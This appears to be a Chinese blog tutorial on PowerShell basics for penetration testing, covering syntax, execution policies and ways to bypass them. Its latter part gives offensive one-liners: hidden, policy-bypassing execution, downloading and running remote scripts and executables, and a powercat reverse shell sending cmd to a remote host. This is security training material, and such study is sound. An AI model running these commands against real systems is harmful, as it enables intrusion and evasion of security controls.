渗透测试中powershell基础

powershell简介

Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在Windows7及其以上的系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell无须写到磁盘中,它可以直接在内存中运行,现在我们讨论的多数都时V2版本的powershell,因为V1的功能对我们来说把不够用,后续版本均向前兼容,所以使用v2即可。

Powershell 基础语法

变量通常以$开头,强类型,但是大小写不敏感

创建数组

$array = 1,2,3,4
$array = 1..4
$array=1,"2017",([System.Guid]::NewGuid()),(get-date)
$a=@()  # 空数组
$a=,"1" # 一个元素的数组

创建哈希表(感觉和类或者C语言的结构体差不多的感觉)

$stu=@{ Name = "test";Age="12";sex="man" }

哈希表的插入和删除

$Student=@{}
$Student.Name="hahaha"
$stu.Remove("Name")

对象

在powershell中一切都可以视为对象,包罗万象New-Object可以创建一个对象Add-Member可以添加属性和方法

其他一些运算符

-eq :等于
-ne :不等于
-gt :大于
-ge :大于等于
-lt :小于
-le :小于等于
-contains :包含
-notcontains :不包含
!($a): 求反
-and :和
-or :或
-xor :异或
-not :逆

循环结构的话与其他语言差别不大

函数结构如下

function Invoke-PortScan {
<#
.SYNOPSIS  简介

.DESCRIPTION  描述
    
.PARAMETER StartAddress 参数

.PARAMETER EndAddress  参数

.EXAMPLE
PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254
用例
#>

code
}
PowerShell策略

powershell 有多种执行策略,若是执行时报错,除了语法之类的错误外,很有可能就能就是策略的问题,powershell有以下6种执行策略

  • Restricted:受限制的,可以执行单个命令,但是不能执行powershell脚本。
  • AllSigned:仅仅允许执行带有数字签名的脚本
  • RemoteSigned:执行从网络下载的脚本时,需要数字签名,本地创建的脚本则可以直接执行,不受限制
  • Unrestrictes:对于本地执行不做限制,网络下载的脚本执行时进行安全提示,让你再次确认。
  • Bypass:执行脚本不做任何限制,对于网络下载的脚本也不做安全提示,无需再次确认。
  • Undefined:表示没有设置策略,会发生继承,或者应用默认的脚本策略。

查看本地策略

Get-ExecutionPolicy

更改策略

Set-ExecutionPolicy

更改powershell的脚本策略需要管理员权限执行,看提示可知,这是对注册表的内容进行更改。

在这里插入图片描述

安全策略绕过

cmd下使用powershell.exe 来执行脚本事可以执行的,无论powershell的执行策略是那种

powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.220.129:8080/hello.ps1')

在这里插入图片描述

下面这种方式也可以,主要就是bypass 策略来执行。

powershell -exec bypass .\hello.ps1

在这里插入图片描述

其他常用命令

ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则;
WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏;
-command(-c):执行powershell脚本;
NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件;
NoLogo:启动不显示版权标志的PowerShell;
Nonlnteractive(-noni):非交互模式;
Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要;
-enc base64:把ps脚本编码成base64来执行,实战用的最多;

powershell.exe -exec bypass -W hidden -nop  test.ps1

powershell下载文件到指定路径

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');

下载exe,并且执行

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe

下载远程powershell 脚本,并且带参数执行

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

反弹msf的shell

powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1

参考

https://blog.csdn.net/weixin_45116657/article/details/103449931
https://www.anquanke.com/post/id/87976#h3-29

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值